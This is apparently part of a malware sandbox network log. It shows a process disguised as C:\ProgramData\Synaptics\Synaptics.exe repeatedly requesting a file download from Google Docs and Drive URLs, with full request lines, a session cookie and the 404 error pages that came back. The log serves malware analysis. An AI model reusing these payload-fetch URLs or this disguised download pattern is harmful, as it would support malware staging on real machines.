2025-01-02 19:20:31 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:20:31 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 54 62 79 59 6c 64 66 50 47 67 34 47 67 74 7a 70 51 6a 36 65 73 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="TbyYldfPGg4GgtzpQj6esQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:20:31 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.8	49806	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:31 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:31 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:31 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-cQKPzWNZh_3HnmpF8crVbQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.8	49809	142.250.186.33	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:31 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:32 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6tyQwH4lo3CxYgiwaaEWtFti5kIFG4uW07Y2vFpz1Tzvha5hYWS-7wqgjTeb91fut3ntZOh6o Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:31 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-As_lih-DuirlnjdjeNPB8w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:20:32 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:20:32 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 42 64 65 68 73 55 56 34 46 51 33 47 5f 73 2d 56 46 47 49 50 50 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="BdehsUV4FQ3G_s-VFGIPPA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:20:32 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.8	49808	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:31 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:32 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:31 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-jRjL_LmLTiw9MwPMbkxSzg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.8	49815	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:33 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:33 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:33 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-GXt8ClXz_pdWViThEpiaLA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.8	49814	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:33 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:33 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:33 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-nDYHhA4BMbX3NEEppmNEkA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.8	49818	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:34 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:34 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:34 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-a23efpgRDQJoL9h4EkdE_A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.8	49819	142.250.186.33	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:34 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:34 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6G6OXo_39ey_tpfq-ZtsWKde0k0qKSDOh6h3EllU-VZUniv-Gd_PrntWWAorqvU4gUuVUNRgM Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:34 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-C7tkdVh8IuwyNmh5tPB5ww' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:20:34 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:20:34 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6c 50 78 62 7a 46 68 4c 49 79 42 66 37 55 6c 6c 4f 54 75 50 67 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="lPxbzFhLIyBf7UllOTuPgg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:20:34 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.8	49817	142.250.186.33	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:34 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:34 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7Gf4o8FxfBiAz_QzU5PFV-jGHh3tPM9w69rhtRqHtm_gKGH9v98fZF9FPV-rUh31Lf Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:34 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-pLt4aiIs3SvT4mWG5YkmXQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:20:34 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:20:34 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 7a 38 75 56 33 77 45 58 36 59 34 77 46 46 6d 4e 53 70 76 75 68 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="z8uV3wEX6Y4wFFmNSpvuhQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 